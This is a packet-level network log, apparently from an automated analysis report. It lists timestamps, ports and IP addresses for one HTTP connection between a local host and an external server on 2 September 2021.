Sep 2, 2021 05:59:48.176467896 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.176487923 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.176498890 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.176506996 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.176523924 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.176542997 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.176598072 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.176614046 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.176629066 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.176644087 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.176651001 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.176670074 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.176691055 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.176707983 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.176726103 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.176764011 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.176836014 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.176850080 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.176871061 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.176887989 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.176898956 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.176951885 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.176986933 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.177004099 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.177017927 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.177078009 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.177107096 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.177124023 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.177134991 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.177146912 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.177165985 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.177174091 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.177232027 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.177264929 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.177350998 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.177364111 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.177386045 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.177401066 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.177488089 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.177552938 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.332936049 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.332990885 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.333040953 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.333086014 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.333125114 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.333164930 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.333203077 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.333239079 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.333276987 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.333314896 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.333363056 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.333401918 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.333405972 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.333444118 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.333482027 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.333518982 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.333554029 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.333591938 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.333591938 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.333632946 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.333662987 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.333690882 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.333719969 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.333738089 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.333781004 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.333817959 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.333848953 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.333858013 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.333895922 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.333931923 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.333976030 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.333981037 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.334018946 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.334054947 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.334084034 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.334093094 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.334130049 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.334177971 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.334222078 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.334259033 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.334296942 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.334305048 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.334335089 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.334371090 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.334383011 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.334408045 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.334445000 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.334491014 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.334534883 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.334567070 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.334572077 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.334611893 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.334631920 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.334654093 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.334688902 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.334727049 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.334764004 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.334810972 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.334853888 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.334883928 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.334892035 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.334933043 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.335031986 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.346071959 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.346107960 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.346126080 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.346147060 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.346168041 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.346189022 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.346209049 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.346225023 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.346245050 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.346270084 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.346297979 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.346303940 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.346322060 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.346338987 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.346355915 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.346379995 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.346466064 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.346471071 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.346497059 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.346519947 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.346525908 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.346549034 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.346575022 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.346621037 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.346630096 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.346652031 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.346729040 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.346761942 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.346776962 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.346791029 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.346816063 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.346823931 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.346843004 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.346868992 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.346980095 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.346992970 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.507225990 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.507266045 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.507287979 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.507308006 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.507328987 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.507349014 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.507369041 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.507390022 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.507410049 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.507433891 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.507453918 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.507473946 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.507493973 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.507514954 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.507531881 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.507535934 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.507555008 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.507575989 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.507596970 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.507616997 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.507635117 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.507654905 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.507673979 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.507685900 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.507692099 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.507713079 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.507735014 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.507754087 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.507756948 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.507778883 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.507801056 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.507807970 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.507822037 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.507844925 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.507867098 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.507884979 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.507889032 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.507904053 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.507926941 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.507926941 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.507949114 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.507968903 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.507982969 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.507988930 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.508008957 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.508027077 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.508029938 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.508045912 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.508071899 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.508115053 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.508116961 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.508140087 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.508158922 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.508177042 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.508177996 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.508197069 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.508214951 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.508234024 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.508253098 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.508270979 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.508277893 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.508297920 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.508317947 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.508337021 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.508356094 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.508356094 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.508373976 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.508394957 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.508414030 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.508415937 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.508440018 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.508460045 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.508471012 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.508481026 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.508500099 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.508521080 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.508541107 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.508542061 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.508563042 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.508582115 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.508603096 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.508608103 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.508627892 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.508646965 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.508665085 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.508665085 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.508685112 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.508703947 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.508723021 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.508723974 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.508744001 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.508753061 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.508766890 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.508785009 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.508788109 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.508809090 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.508816004 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.508836031 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.508856058 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.508863926 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.508915901 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.508982897 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.509053946 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.509054899 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.509116888 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.509140968 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.509186983 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.509215117 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.509237051 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.509254932 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.509274960 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.509275913 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.509299040 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.509316921 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.509318113 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.509337902 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.509371042 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.509407997 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.519416094 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.519444942 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.519457102 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.519468069 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.519484043 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.519495010 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.519514084 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.519531965 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.519546986 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.519562960 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.519577980 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.519593000 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.519608021 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.519618988 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.519619942 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.519634962 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.519649982 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.519664049 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.519679070 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.519685984 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.519694090 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.519712925 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.519722939 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.519730091 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.519743919 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.519752026 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.519759893 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.519773960 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.519779921 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.519804001 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.519818068 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.519828081 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.519840956 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.519887924 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.680713892 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.680752039 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.680772066 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.680795908 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.680874109 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.680905104 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.680932999 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.680958033 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.680982113 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.681006908 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.681030035 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.681054115 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.681077957 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.681108952 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.681142092 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.681176901 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.681174994 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.681212902 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.681248903 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.681283951 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.681318998 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.681355000 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.681358099 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.681391001 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.681396961 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.681433916 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.681461096 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.681469917 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.681505919 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.681529999 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.681544065 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.681580067 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.681615114 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.681651115 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.681691885 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.681719065 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.681727886 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.681731939 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.681763887 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.681797028 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.681798935 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.681802988 CEST	49707	80	192.168.2.3	23.106.160.25
